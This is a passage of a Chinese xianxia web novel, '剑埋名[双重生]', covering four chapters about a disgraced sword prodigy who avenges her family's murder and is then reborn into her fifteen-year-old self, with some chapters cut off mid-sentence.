《剑埋名[双重生]》 1. 旧梦 《剑埋名[双重生]》全本免费阅读 恰逢盛夏时节,夜间雨水滂沱。 天色沉沉欲坠,久无人造访的杏树林沉寂在一片阴郁中。瓢泼大雨噼啪落下,劲风夹杂着远处妖兽的嘶吼声呼啸而来。哗啦作响的枝叶映在灰蒙蒙的雨幕中,宛如一只只漆黑的鬼手。 往日里平静的山泉奔腾而下,汇成一条汹涌的瀑布,掩盖住了山腰侧本就隐蔽的溶洞。 溶洞中央,散发着浅紫色光芒的传送法阵亮了又暗。 一只蝴蝶绕着圈飞来,抖着蓝银相间的蝶翼,优雅地悬停在了少女湿漉漉的发梢。 赵轻遥翻身跃下法阵中心的高岩,捏碎掌心内还带着余温的传送符,毫不犹豫地一头扎进茫茫水幕中。 地面上久无人造访的枯枝霎时发出了断续的破裂声。蔓延在树林中的水汽潮湿,混合着山杏的酸甜芳香,冲散了空气中浓郁的血腥气。 湿地泥泞,赵轻遥一脚深一脚浅地疾行着。满身黑红干涸的斑斑血迹不断被新涌出的新鲜血液覆盖,受伤最重的右臂近乎疼痛到麻痹。 喧嚣的风声、雨声与雷电声似乎已离她远去,天地之间,她只能听见自己狂乱无章的心跳—— 咚、咚、咚咚。 这次真的失策了。 天亮之前,或许再晚些就已经来不及了,她现在就必须甩掉紧紧跟在自己身后的追兵,从山顶深潭底部的密道处赶回璇云仙宗。将一身血污和伤口处理干净后,再躺回不言阁的床上,闭上双眼。 一觉醒来,她就能再次从赵轻遥变回黎明珠——那个璇云仙宗最受宠爱的锦鲤小师妹、那个与掌门早逝的独女有八分相像却天脉破碎难以修行的凡人。 等天亮后,雁铃城城主郑玄的死讯传来时,她就能惊讶、惋惜又不失柔弱地躲在众人身后。 这样,就算再无人敢把郑玄的死怀疑到她头上。 天间闪烁的白光划过,犹如一条银色巨龙翻滚在漆黑浪潮之中。赵轻遥警觉抬头,停下了匆匆的脚步。 倏忽之间,一道惊雷正正劈中她前方的道路。 焦炭般的树干破碎断裂,火光燃起来一瞬,又很快在雨帘中消逝。只那一瞬的光,照亮了她苍白到透明的脸颊。 赵轻遥忽然轻蔑地笑了一下。 她抬手擦干脸上纵横交错的水渍,面无表情地仰头望天。无数黑云聚集成的漩涡间,又一道雷电闪过。沉沉的黑夜仿佛在此刻睁开了一只眼,怜悯地与她对视。 雨势更凶猛了些。 所谓天道,所谓拦她路的人,都不过如此。 赵轻遥只觉得疲惫又好笑。于是她眨了眨眼,冷冷出声:“怎么,你是觉得我错了吗?” 郑玄早就该死了,在他颠倒黑白,为了雁铃城主之位而构陷赵家众人的性命时;在他谎话连篇,将全城的性命交付给他人时,他就应该是个死人了。 “你最好给我安分点,是我仁慈,才让他多活了那么长时间。” 她既没有后悔过,也没有不付出代价,何错可言? * 坐落于雁铃城的赵家炼心坊以铸器闻名九州四海,一跃成为仙灵界的富豪人家之一。赵家独女赵轻遥在路都走不稳的年纪,便已与她的本命剑逢春相遇。 人人都夸她是世间难得的奇才,就连赵轻遥自己也是那样认为的。 七岁身怀剑骨,被隐居多年的世外剑尊亲自教导,成为了剑尊闭关沉眠前的唯一弟子;十岁出山拜天恩,被青天树赐予天脉九境的绝佳修行天赋;十五岁于东海试仙州的剑道大会上崭露头角,来自五湖四海的修仙世家子弟皆败于她的剑下。 一个未曾出身世家的凡界中人能获得此等殊荣,仙灵界上上下下无不为之震惊。 赵轻遥一时间声名鹊起,成了仙灵界新生代中当之无愧的剑道魁首。 少年成名,心高气傲。 彼时的赵轻遥总以为全世界都会喜欢自己。 温和开明的师长、积金至斗的财宝、横扫灵界的剑道天赋、来自修仙世家青梅竹马的未婚夫,她的人生本来就该这般幸福美满。 直到神魔之墟封印异变发生,魔气侵袭雁铃城。炼心坊众人惨死于结界内,却由雁铃城主郑玄做证,被仙盟认定是勾结魔人导致封印异变的罪人。 唯一存活的,便是出门在外守候剑尊闭关的赵轻遥。 赵轻遥从一开始便是不相信的。 母亲遗留给她的仙术传信,残留于城中的阵法痕迹,被扫荡一空的兵器库,处处与郑玄所言的“事实”相悖。 那时的她年岁尚小,总想着其中会不会有什么误会。 她要更多雁铃城中的证据,可郑玄命令雁铃城将她拒之门外;她想要仙盟重查真相,可仙盟长老与她避不见面。 众人的嘲讽与同情之声甚嚣尘上,不过短短的几日,天骄之女跌落尘泥。 但赵轻遥仍未放弃。 少时的她总以为事情还会有转机,总以为仙盟中会有人愿意看在她诚心的份上施以援手。 于是她折了一身傲骨,硬生生跪在了仙盟人来人往的长阶前。 七天七夜,哪怕是身躯痛到极致,也她没有落下一滴泪。 看热闹的修士来了又散,散了又来,仙盟的大门却始终对她紧闭。 第八日的雨夜雷电交加,冰冷与疼痛让时间变得格外漫长。 狂风骤雨中,她恍惚间看到自己那名素日里最是温柔和善的未婚夫撑着伞缓缓向自己走来。 那一瞬间,赵轻遥真的以为洛明川是来帮她的。 他们青梅竹马,一同长大。洛明川为了替她寻一枚合适的剑穗,跑遍整个东境;洛明川为了当给她送生辰贺礼第一人,子时不到就偷偷候在她的窗沿下;洛明川说整个仙灵界中他们最是般配,定会地久天长…… 她像将要溺死的人遇到了浮木,紧紧拽住了他的衣摆: “明川,我阿娘是无辜的。你我两家相交多年,你与洛家定是知道我阿娘是什么样的人。洛家能不能出面帮帮我,让仙盟重查此事……” “瞳瞳,”面如冠玉的少年俯下身,略带凉意的手指抚摸过她湿漉漉的脸庞,像是带着无尽的安慰与蛊惑:“仙盟长老多为秦氏一族的神族后裔,他们与神明心意相通,做出的判断是不会有错的。” “洛家不会追责你娘的事情,我们之后还是会成亲。” “只是事已至此,你不要再胡闹了。” 赵轻遥愣愣地盯着洛明川半晌,才察觉脸上已有潮湿的热意。 曾经最喜欢的人成了压死她的最后一根稻草。滚滚而落的不只是她的眼泪,还有她破碎的矜持与尊严。 原来她所坚持的是非对错在其他人眼里,不过胡闹二字。 原来至始至终她能依靠的,只有她自己。 那天之后,没有人再知道赵轻遥去了哪里。 孤狼般的少女咽下满腹的血与泪,独自退入了夜色之中。 寻找真相的路途艰难,赵轻遥跌跌撞撞地寻遍整个仙灵界,才将那隐约浮出的真相攥入手中。 树大招风,名大招祸,财大招贼。 雁铃城城主郑玄觊觎赵家的钱财;璇云仙宗长老诸何垂涎炼心坊的兵器库;至于秦家家主秦肆…… 他需要一味药引。 一味在一刻钟内聚集五百人天脉魂力的药引,为他唯一的儿子治病。 太弱的凡人他不会要;仙门与世家的修者他不能要;以铸仙器之术起家的赵家刚好合适。 三家各有所图,欲制赵家于死地。 很显然,他们成功了。 赵家被分食了个干净。 得知真相的那一天,赵轻遥擦了一夜的眼泪。 她真的太想回家了。 她想再听一回母亲的夸奖,夸她是让母亲骄傲的好孩子;她想再吃一回陈伯做的绿豆糖水,王婶包的馄饨;她想去城郊的庄子里看烟花,放风筝,再在草地上懒懒地睡个好觉…… 她比任何人都希望这一切从未发生。 可世间事没有如果二字。 从她下决心复仇的那一刻起,她便做出了抛弃一切的准备。 曾经的容貌、身份、天脉,还有那份人人艳羡、令她名扬仙灵界的剑骨,被她悉数毁去。 赵轻遥消失的半年后,洛家新上任的家主洛明川于神魔之墟的封印外寻了到半只破碎染血的剑穗,是他曾经跨越整个东境,为他那青梅竹马的未婚妻寻得的生辰贺礼。 赵轻遥的牌位被放入了洛家的祠堂,洛明川从此闭口不言这名自己曾经的未婚妻。 同年,璇云仙宗掌门云弄潮不顾阻拦,从乱葬岗中救回了一个和他早逝独女有着几分相似的凡人,并将其收为内门弟子。 那位唤黎明珠的凡人仙脉天生破碎,身体孱弱不堪,除了一张能让云掌门怜惜的脸以外,别无所长。 世间不会有第二个人知道,曾经的剑道魁首再也拿不起剑了。 * 天空又一道白光划过,打断了赵轻遥逐渐飘远的思绪。 深潭就在前方。 那一道惊雷后风雨渐歇,她到山顶的行程竟变得格外顺利。 只没入水中,再用止水符潜入水底的密道,便可回到璇云仙宗。 赵轻遥深吸一口气,快速前行至潭前,却又生生止住了脚步—— 千面符三个时辰的时效已过。潭水幽深清净,倒映出的已不再是雁铃城主府中妖娆勾人的琴娘模样,而是另一张纤细柔弱的姣好面容。 面庞楚楚可怜,却与那双幽黑深邃的双眸并不匹配。 淅沥的小雨落在水面上,晃起圈圈涟漪,将潭面上的残月搅得光影纷乱,仿佛在无声地邀请这位外来之客。 只是,今夜何时有的月亮? 赵轻遥眼睫轻扫,手指已不动声色地攀上了腰间的束带。身后风动瞬间,她霎时腾空而起,跃于潭面之上。手中金光乍现,于半空中捏出无数道符咒,猛然向四周掷去。 一把血红的弯刀近乎擦着她的后背飞过。 周身幻象如镜片般纷纷破裂。潭水飞溅,带着水边泥土腥气的凉风猛烈袭来,将她的裙摆卷得猎猎作响。 右臂的剧烈的刺痛再次袭来,铁锈味在唇齿间绽开。赵轻遥努力克制住身躯因疼痛而导致的发抖,眸色微闪,森然望向来者: “如此拙劣的结界还想困住我第二次,你是真把我当废物了?” 弯刀被符咒击飞,在空中翻滚几圈后,落回原处,竟化身一团冒着热腾腾杀气的鲜红血雾。落地之处,万物瞬间枯朽凋零。 血雾眼见扑了个空,在原地打了两个转,在发出了一串如孩童银铃般的咯咯笑声后,开口竟是粗声粗气的低沉男音: “你们凡人总说什么一命偿一命。如今你既取了我主人的性命,不会以为自己还逃得掉吧?” 赵轻遥眸光低垂,心中暗道不妙。 她自然认得此团血雾究竟是何方邪祟。 雁铃城地坐落于青岭山脚下,至今为止,已有两百年的历史。青岭山虽处偏远,却不妨是个灵力丰沛的风水宝地。按理说,大大小小的村落城池早该在千年被建起,而不是一直荒废至两百年前。 原因无他,只因青岭山上盘旋着这团血雾。 没有人知道它叫什么名字,也没有人知道它是从何方而来。 与众多失去神识只剩本能的妖兽不同,血雾既能口吐人言,又有自己的脾性。它生性恶劣凶残,且变换无穷。一旦有人敢进入青岭山的范围,定会迷失在其所造的结界中,遭受到非人般的攻击与折磨。 曾有人侥幸逃出,却也筋骨全断、修为尽失,疯疯癫癫地度过余生。 也曾有人将此事反馈给仙盟。可青岭山地处偏远又无人居住,自是比不得其他那些受上古妖兽侵扰的城镇与村落的。消灭血雾之事,便一拖再拖。 直至两百多年前,一位世外高人误入青岭山。与血雾大战三天三夜后,将其镇压于青岭山底。 高人声称血雾是人间怨气所化,需 2. 重生(一) 《剑埋名[双重生]》全本免费阅读 试仙峰地处东海,是蓬莱州的南方之最。 红日初升,薄云轻舒漫卷,金红的霞光喷薄而出,波光粼粼的海面也在此刻被渡上了无尽的光辉。 一艘金雕玉砌的灵舟正在海面上缓缓徐行,轻柔的海风略带着海水咸腥气吹入船舱,拂过榻上少女微微汗湿的额发。 一对黑白分明的双眸陡然间睁开。 赵轻遥掀被而起,只觉得喉头焦渴,宛如火燎。 周身沉重无比,她一把推开眼前碍事的屏风,顾不得穿鞋,赤足跳到了地板上。径直捧起圆桌上翡翠茶壶,接连踉跄几步,才勉强将壶嘴送入口中。 脑子里前世事黏黏糊糊地揉杂到一起,头疼欲裂。 她一连灌了几大口凉水,又痛又急的心跳才逐渐平息了下来。 重生了三日,她就做了三日有关前世的梦。 只是…… 赵轻遥思及梦结束时的场景,脸微微沉了下来。 她为何会梦到秦倚白? 她分明记得,在郑玄死去的那夜,她虽身受重伤又被血雾追赶,但还是有惊无险地回到了璇云仙宗。路上连个人影也未见,更遑论在密道中被秦倚白守株待兔了。 真是奇怪,当真什么人都能入自己的梦了。 * 浮世偌大,人与人之间的相逢相知,总是要讲究一个缘法的。 在秦倚白出现前,赵轻遥也没想过,自己会如此讨厌一个人。 这种讨厌与身份地位无关。她讨厌他,不单单因为他是中州秦家高高在上的少主、是仇人秦肆的亲儿子,更是因为她不喜欢秦倚白这个人本身。 他哪怕不姓秦,赵轻遥也照样讨厌他。 赵轻遥前世第一次见到秦倚白,是在她成为黎明珠的一个月后。 这位秦家的少主自幼体弱多病、深居简出。虽在五岁那年就已拜璇云仙宗掌门云弄潮为师,却因身体原因,多年未来仙门参与修行。 所以,即便他正式入门修行的时间比赵轻遥还要晚,云弄潮座下众弟子也得恭恭敬敬地叫他一声“秦师兄”。 秦氏一族是世间最后一位上古神与人族的血脉延续。而如今,神早就不复存在了。 拥有神族血脉的秦家,便理所当然地坐上了统领仙灵界的交椅。 当今所有修仙世家最初的起源,都是秦氏一族。或外嫁的女儿,或分家改姓的族人,或一脉相承的弟子……秦家论一声万物伊始,也并不为过。 聚集在中州的修仙世家与仙门众多,千万年过去,无论各方势力如何变幻,都始终以秦家为马首是瞻。 当今秦家家主秦肆的膝下,又唯秦倚白一个孩子。 自然是万千宠爱,百般呵护。 生长于北境最北边雪山悬崖边的冰菱花,被上古蛇妖日夜看护。百年成株,千年开花。 身法与密术的集大成者九死一生、千辛万苦采得一朵后,日夜兼程送往中州。最中间三枚带着雪水的花蕊被秦家掐去入药,其余的部分扔入丹炉添作柴火。 百花宗、千金阁、太乙庄的几位掌门大拿轮番看守炼丹炉七七四十九天,再加入圣品百花蜜、千年灵芝宝,辅以各大宗门仙灵宝地引入的至纯灵气—— 最终变成秦倚白每天当零食吃的糖丸。 之一。 有人说,秦家少主纡尊降贵地来璇云仙宗,是璇云仙宗的脸面。别说是叫他一声师兄了,只要他愿意,叫他一声祖宗都不为过。 会不会还有人会说,赵家五百口人的性命能给秦家唯一的少主治病,是赵家的脸面呢? 秦倚白初到璇云仙宗时是个傍晚。绚丽的火烧云染红了璇云仙宗的半边天,余霞成绮,美不胜收。 晕开了秦家少主极致俊美面庞上的温和笑意,也染红了赵轻遥的双眼。 她脸上始终保持着小师妹该有的甜美又仰慕的微笑。可就在见到秦倚白的那一刻,体内那根被她亲手剜去的缺失的剑骨,猝不及防地疼痛了起来。 赵轻遥春风得意时,也与不少的秦家子弟打过交道。 偌大的世家从不缺狂妄自大小心眼的混蛋,也不缺阴暗奸诈两面三刀的笑面虎。 虽然她并不想承认,可平心而论,秦倚白表面上比之前她遇到的人强上许多。 他温和有礼,与人友善。隔壁师姐的辟谷丹练得焦糊,只有他吃得面不改色还连声夸赞; 他天赋超群,努力异常。早课第一个到,晚课最后一个走。每天不是在练剑峰,就是在藏书阁; 他不摆特权,事事亲为。未带仆从,还谢绝了掌门让他搬去后峰独住的好意,与普通弟子同吃同住。 …… 可能除了赵轻遥,璇云仙宗上上下下没人不喜欢秦倚白。 但赵轻遥最讨厌的,就是这个人所谓的完美。 天道忌满,人道忌全。 都是装腔做样的面皮罢了。 秦倚白作为秦肆的子嗣,就绝无可能清白无辜。 他踩着另一个天才破碎的灵脉和失去的剑骨出现在璇云仙宗,喝的是赵家五百人的血,啖的是无辜之凡人的肉。 从感情上来说,赵轻遥与秦倚白相处一秒都是煎熬,生怕自己哪天忍不住动手将他剥皮抽筋; 可从理智上来说,谁造的孽,就该谁来还。是秦肆动手害的赵家,所有孽障就应他自己来背负。 复仇之路漫漫,秦倚白既无敌意,那她也没必要在一开始就为自己竖立那么多敌人。 太危险了。 大不了先解决完他爹之后再回来解决他。 赵轻遥努力维持着感情和理智的双重平衡,不咸不淡地与秦倚白保持着距离。 但世事难料。 平衡坍塌得如此之快,快到连赵轻遥自己都不敢相信。 本该十年一度的剑道大会在短短两年后——也就是秦倚白入璇云仙宗修剑的第一年,被仙盟重新开启了。 重启的理由非常拙劣。说来说去,无非是说赵家与魔人勾结之事赵轻遥或也有参与。 一个身上带有污点的凡人,怎配称得上一句剑道魁首?再加上她如今已然身死,不如就将上一届的成绩一笔勾销,重新来过。 赵轻遥第一次知道,人在愤怒到无语的时候,是会笑出声的。 仙盟为了讨好谁,简直一目了然。“赵轻遥”已然身死,却还要被他们如此践踏。 剑道大会的比试分为三场。一是参赛者之间的正常对决淘汰,二是参赛者与上一届剑道大会魁首的虚影比试,三才是最终的决赛,由第一二场的综合成绩选出五人参赛。 其中最难的,莫过于第二场。 虚影留存着上届魁首七八分的实力。往届大比中,不乏有在第一场比试中大获全胜,却在第二场比试中败下阵来的选手。 若无人能过第二场,上届剑道魁首的成绩则继续留存。 第二场比试的当天,赵轻遥在最前排的角落中,痴痴地望了许久。 她已经很久没见曾经那个张扬肆意的少女拿剑的样子了。场上虚影衣袂翻飞,一手剑法灵动飘逸,如江上惊涛、人间白虹。 是她再也回不到的过去。 与虚影的比试几乎让这场比赛的参赛者全军覆没。得留她曾经的七八分实力,对付修仙世家的歪瓜裂枣,简直绰绰有余。 < 3. 重生(二) 《剑埋名[双重生]》全本免费阅读 十年一度的剑道大会在试仙峰举行。 试仙二字,并非徒有其表。 周身被结界包裹,任何飞行法器与传送阵术都无法直接到达。 所有欲前往试仙峰参加剑道大会的修士,都需得从蓬莱洲乘坐灵舟到试仙峰脚下,再徒步攀登至山顶,以视诚意。 赵轻遥重生回来的机缘十分巧妙,如今就正坐在去往试仙峰的灵舟上。 算来,这个时候的她应是刚过完十五岁生日。 赵家的灵舟富丽堂皇,足足有五层之高,处处彰显着精致华贵之风。赵轻遥的这间船舱几乎占据了整个第四层,宽阔到离奇,能容纳下近百人。 一排排面容姣好的侍女忙碌地进进出出,脸上无一不带着柔婉的微笑。所过之处,香风阵阵,环佩叮咚。本是狼藉一片的船舱变得焕然一新,空气中漂浮着栀子花清新淡雅的芳香。 赵轻遥还没反应过来,就被人搀扶至松软的美人榻上坐好。身后一左一右地站着两人,一人拿着被温水浸湿的锦帕擦拭着她的面庞,另一人用镶嵌着宝珠的木梳轻轻梳理着她的长发。 好不容易将这两人打发走,一转头,却看到千穗侧坐在美人榻的一旁,动作极其轻柔地用沾满极品创伤药的绷带清理着她脚腕的伤口。 赵轻遥头皮有些发麻。 忽地养尊处优,着实有些不太适应。 “千穗,真的不用了。你要是再晚来一刻钟,这个伤口都自己长好了。” “可不能说这样的话,小姐你就是自己太不会照顾自己了。” 千穗动作极快,麻利地将绷带系了个结。抬头时,却发现自己看见的还是一张闷闷不乐的脸。 赵轻遥生得极好。此时尚未梳妆,乌发如墨般披散,倒衬得肌肤似雪、花容月貌。未施粉黛的脸庞极尽妍丽飞扬,带着几分浸入滚滚红尘的骄纵倨傲之气。 只是此刻往日里微微上挑的眼稍有些低垂。双眸映水,却无光华流转。倒不像是个还未及笄的少女,颇有历经世事之意,让人一时间猜不透她在想些什么。 像是一汪平静的春水。外人看来是万顷平波,殊不知生机盎然的水面下早已藏满了尖锐的碎石和冰棱,危机四伏。 千穗的思绪飞速旋转。 她从未见过小姐这幅心事重重的表情。自三天前,小姐就开始说自己晕船,一连在房中睡了几天,其他人的面见也不见。 她是难受的吗?还是刚刚被疼到了? 不对,不对,小姐以前很少晕船。她不高兴,难道是因为…… 船舱内一时寂静,唯剩海浪拍打船舷传来的潺潺流水声和海鸟的阵阵清脆鸣叫。千穗谨慎地将那个想法在内心盘旋了三遍,方才小心翼翼地开口:“小姐,其实你也不用太难过,剑道大会其实……” 话未说完,身体却猛地向前一倾。 灵舟行驶时的轰鸣声突然消失。四周变换的景致停下,落在海面上的日光被船身溅起的波浪搅碎了一瞬,又很快恢复原状。 赵轻遥缓过神来,眼疾手快地扶住了千穗:“船怎么停了?” “我忘记告诉您了,”千穗小声地凑近了赵轻遥的耳朵:“秦家的船已经在我们后面了,我们得让一让他们。” “让……让谁?” 赵轻遥皱起眉头,她怀疑重生之事让她的耳朵出了问题。 千穗观察着她的脸色,小心翼翼地开口:“小姐,是秦家,我们必须得让他们先过去。” 憋闷与厌恶猝不及防地涌遍全身,赵轻遥心头一跳,倒是想起来了: 秦家素来处事高调,又一直以来,其他修仙世家和仙门的人看到秦家的车驾法器,都得礼让三分。身为凡人的赵家与秦家遇上,更是不能让也必须得上。 晦气,当真晦气。 刚一重生就遇到了她最不想遇到的东西,把重生的好运道都给坏完了。 * 秦家家主秦肆,是祸害赵家的那三个人中,最难缠的一位。 秦家太高,也太远。郑玄和诸何都已被赵轻遥依次解决,可秦肆的性命她却始终没找到合适的时机解决。 若非这个盘旋在仙灵界中州千万年的庞大氏族在一夜之间崩倾,再给赵轻遥十年,她也难找到机会取秦肆的性命。 谁也未曾想到,一棵刀枪不入的参天巨木,最先腐朽的竟是它的躯干。 秦倚白入魔了。 他被魔气侵染到六亲不认的地步。入魔后的第一件事,就是把秦家本家扫荡了个干净。 赵轻遥曾思考过她与秦倚白之间的很多种可能: 或许能堂堂正正地为敌,带着彼此的真名厮杀一场;或许他会替他的父亲寻仇,像捅穿她的虚影那般一剑捅穿她的心脏;或许她会提前杀了他,杜绝一切后患…… 千万种的可能里,唯独没有秦倚白入魔的选项。 他生来最是尊贵,怎么会入魔呢?他父亲为了帮他治病不惜手染血腥,他怎么会杀掉自己的血亲呢? 但事实如此。 秦家旧宅被秦倚白放出的三昧真火烧了七天七夜。中州烟雾弥漫,侥幸存货的秦家子弟四散奔逃,各大世家分分下界避难。 一时间,中州成了一座空城。 赵轻遥几番运作,在秦家的废墟中找到了只剩最后一口气的秦肆。趁他死前,割下了他的头颅。 没有了阵法灵丹和族人的保护,左看右看,也不过一个普通的中年男子。 赵轻遥抱着头颅站在满目苍夷的废墟中,笑着笑着就流下了眼泪。 她也该回家了。 她累了,不想再做黎明珠了,更不愿让自己的余生都在这个假名字的阴影下活着。 只是人世间的转机,有时总是充满意外。 赵轻遥本以为自己的人生会在那一天自我了结。可谁也不曾料到,她那因伤闭关十年的剑尊师父会在此时出关,并恰巧路过中州,顺手打翻了她架在自己脖颈上的刀。 恩师仔仔细细地听完了她这近十年的经历后,只是摸了摸她的头,说道:“别怕。” 很快,璇云仙宗的小师妹黎明珠在一次围剿妖兽的任务中失利,被妖兽吞入腹中,尸骨无存。云弄潮倾尽璇云仙宗掌门之力寻找其尸身,却在半途中误打误撞发现十年前倾覆的雁铃城赵家实为无辜。 剑尊出关,坦言赵家独女赵轻遥并未身亡,而是藏于其闭关之地十年。 脸被换回,天脉被重塑,只是失去的剑骨无法找回,虽实力虽大不如从前,但赵轻遥仍重获新生。 她的牌位移出了洛家的祠堂,此后与洛家再无瓜葛;雁铃城城主之位空缺已久,她被看着自己长大的街坊邻居推举上位;赵家的炼心坊于原址上得以重建,神兵利器重现世间…… 故事出乎意料地变得圆满。 赵轻遥越来越忙,想起曾经的时候也变得越来越少。只是在偶然间听说,秦倚白落入了仙盟的手中,对自己的行为供认不讳,却始终没给出一个理由。 因果报应,一代天才就此陨落。 赵轻遥为自己未能堂堂正正赢秦倚白一把叹息两声,却又觉得对他的结局十分满意。 她的日子过得很舒心,没必要再去想那些过去的事情。唯一让她不爽的是,洛明川有意无意的骚扰让她烦不胜烦。 于是赵轻遥重新为自己择了一个夫婿。 痛苦的日子仿佛都在此刻终结,年少有为的雁铃城主为自己重新举办了一场盛大而隆重的婚礼。 既是告别,又是新生,她终于能重新有个家了。 好巧不巧,婚礼的当天,也是秦倚白被押去雷刑山处刑的日子。 雁铃城锣鼓喧天,赵轻遥在登上花车前,远远地看了一眼雷刑山方向来的滚滚雷云。她未能亲手将这位讨厌了这么久的死对头送走,当真有些小遗憾。 婚车的花车让赵轻遥感到前所未有的平稳而舒适,让她情不自禁地闭上双眼,久违地陷入了安然的梦乡。 可她再次睁开双眼时,却发现自己回到了十五岁那年。 回到了一切都还没开始的时候。 * 如今的秦家如日中天,还未到该毁灭的时候。 在璇云仙宗忍气吞声的十年让赵轻遥学会了掩藏情绪的好习惯。哪怕心中已掀起惊涛骇浪,面上仍旧波澜不惊。她哪怕现在再厌恶秦家,也不能因为这点小事提早给赵家带来麻烦。 “随意吧,该怎么来就怎么来。” 千穗瞧她面色并未不快,忙不迭地应好。 十名早已侯在赵轻遥身后侍女捧着托盘依次上前,规规矩矩站到了她的面前。 4. 灵傀 《剑埋名[双重生]》全本免费阅读 天穹如墨,繁星漫天。 试仙峰近在眼前。 高耸苍翠的群山静静伫立在夜间的雾气之下,每座山峰彼此相连的廊桥上坠满了璀璨的灯光,似一道道盘旋的星河,美丽夺目。 美景当头,赵轻遥的心情却实在不好。 她双手笼袖,目光逐渐下移,定格在了眼前盘旋向上的破旧石阶上。 道路窄小,堪堪只容一人通过。石阶的摆列并不规整,不仅高矮宽窄各不相同,甚至连本该平行的表面都东倒西歪地朝着左右/倾斜。 两侧的边缘没有护栏,再往下,就是雪虐风饕的万丈深渊。山壁间积累的尸骨隐隐可见,似有凄惨的呼叫和野兽的嗥鸣声不断传来。 试仙峰本身并无山路。每位受邀比试或观礼的修士迈入山脚的结界时,都会生成一条只属于他们独一无二的上山之路。 随机生成的山路分为甲乙丙丁四个等级,好坏与否,全凭运气。 运气好的,有坐着祥云扶摇直上的,也有仙鹤猿猴纷纷引路的; 运气不好的嘛…… 赵轻遥啧了一声,不耐地转身。 逢春寒光乍起,漂浮在结界入口处写的拜贴霎时被明晃晃的剑稍挑落至手中。 金灿灿的“丁”字再次一闪而过。 如果说抽到甲等山路的修士是少之又少,那抽到丁等山路的修士便是微中之微,几乎能够忽略不计。 前世得这个时候也没这样倒霉过。 她面无表情地手起剑落,径直斩下一截轻飘飘衣袖,反手缚住双目。 凡所有相,皆是虚妄。既然都是幻象而已,那便不足为惧。 前世在璇云仙宗的每一个难眠的深夜,她像这样缚住双眼,在不言阁前的后山上一坐便是一夜。 比起双眼所见之物,她更愿意相信,自己切身感受之物。只有这样,她才能真正认清,自己是赵轻遥而非黎明珠的存在。 被丁等山路劝退的人很多,但绝不会有她赵轻遥。 赵轻遥凝神闭气,抬脚迈上第一阶石阶。 风停雪歇,天地在她的耳边安静了下来。 第二阶。 无规律陡峭的石阶忽然变得格外平坦。千丈台阶,如履平地。 第三阶。 赵轻遥加速奔跑了起来。 呼啸的凉风从耳侧擦过,赵轻遥已分不清时间过去了多久,只知道一层一层向上的阶梯似乎永远没有尽头。 身躯已有些疲态,但她丝毫没有停歇的想法。漫长而机械的前行动作间,千穗白天和她说过那些话猝然涌进了脑海。 “小姐,你忘了吗?这次的剑道大会,秦家的少主要来观赛。他身体一直不好,恰恰剑道大会举办的那半个月是在处暑时节。” “仙盟那些人为了讨好秦家,就把剑道大会的时间给提前了一个月多,就刚好是在小姐你十五岁的生辰前。” “整个雁铃城本来就只有城主一个人能去观赛。夫人去仙盟好说歹说,才又为小姐争取到了一个观赛的名额。我们不能陪小姐上山,小姐过去后要自己照顾好自己……” 秦倚白。 所以又是因为他。 赵轻遥脚步一滞,忽然觉得自己呼吸有些纷乱。 千穗将此事告诉她时,她因为实在不敢相信,迷迷瞪瞪地便回房间生着闷气睡了过去,并未想过此中的关窍。 如今仔细想想,一切真的是巧合吗? 前世这个时候根本没出过门的秦倚白“恰巧”在这个时候要出门观剑道大会,十年一度的剑道大会又“恰巧”因为他提前了一个月,自己又“恰巧”被卡住年龄不能参赛…… 好像只要和秦倚白挨上边,她就会开始莫名其妙地倒霉。 所以究竟是为什么,重生后的事情会发生改变? 脑子里似有千斤浆糊,黏黏糊糊地将前世事与今生事揉杂到一起,头疼欲裂。 她得尽快赶到剑道大会上,查明原因。 赵轻遥思绪沉重地前行着,忽地只觉脚踝一凉。 一股突如其来的蛮力将她向下猛地一扯。纵使她反应迅速,却也猝不及防地接连踉跄了几步,直接跌倒在了石梯上。 她刚欲凝气施法唤出背在身后的逢春,却又生生反应过来—— 修士运转的功法等级越高,需消耗的天地灵气便也越多。 试仙峰的上山路从本质上来说,是个汇集天地灵气所造出的虚梦幻境。虚梦幻境内灵力丰沛,量却是固定的,却不可贸然使用。 即便是只消耗少量的灵气,幻境也有崩塌的可能。一旦崩塌,位于幻境内修士强行坠入现实,轻则受伤重则身亡。 决不可在此处运法。 既然如此,便只能纯粹地比拼拳脚了。 巨力仍试图把她向下拖行,赵轻遥被连带着往边缘滑了一步,已闻到崖边深渊独有的森森寒气。 虚梦幻境内,掉下去并不致命,但这却代表着未通过试仙峰的考验。三年内都不能再踏足试仙峰是小事,刚重生便成为整个仙灵界的笑柄是大事。 赵轻遥深吸一口冷气,双手紧紧勾住石阶的边缘,翻身坐在石阶上稳住身形,向着巨力的方向猛然一踹—— 像是踩进了一团柔软的丝线。 不对劲,但她已来不及惊讶。巨力略微松动的瞬间,逢春剑即刻出鞘,杀气肆意,直直对着巨力削去。 一声尖叫声后,脚腕上被拉扯的力量陡然消失。 没有鲜血的腥气,也没有妖兽的腐臭,断断续续传来的,竟是孩童嘤嘤的委屈哭声。 虚梦幻境内天寒地冻,赵轻遥却只觉得头脑热得发烫。她摘下缚于眼间的红绸,冷冷地蹙起眉头,定眼望去—— 竟是个用普通丝线制成的灵傀。 灵傀一旦被宿主创造出来,一生便只会忠于一主。为宿主上刀山下火海再所不辞,直至生命消亡。 谁不想拥有一位永远听从自己的强大同伴或侍从?可放眼整个仙灵界,拥有灵傀的修士却少之又少。 无他,只因灵傀需要一颗“心脏”,一颗会跳动的“心脏”。 灵傀的身体易做,心脏却难寻。就算是同一材料制成的灵傀,都会因为宿主不同,而拥有不同的心脏。 可能是价值千金的一颗宝石,也可能是是故乡的一捧泥土;可能旧剑的剑柄,也可能是新岁的梅花;可能是仇家的一寸骨,也可能是挚爱的一滴泪…… 能不能找到,全靠运气和缘分。 正因如此,修士们对待灵傀,自也是万分珍重。 灵傀虽拥有心脏,却算不得真正意义上的人。一旦身体受损,便只能找器修帮忙修复身躯。 炼心阁接过不少修复灵傀的天价委托,赵轻遥也因此见过构成灵傀身躯的许多种材料。 定天灵木、北斗寒冰、九转蓄火石、无上魂玉…… 这些用天材地宝制出的灵傀,或妖娆妩媚、倾国倾城;或高大威猛,凶神恶煞。一个个身怀绝技,力量惊人。 而眼前的这个用普通丝线制成的灵傀,不管怎么看,都只是个男女莫辨、扎着冲天辫的小孩子罢了。 若是派来给她添堵的,着实显得有些脆弱和无能了。 逢春剑气凌厉,方才直接削掉了小灵傀小半个左臂。 被削掉的左臂落在石阶上,转眼化作散落了满地的半截金线。 5. 再逢 《剑埋名[双重生]》全本免费阅读 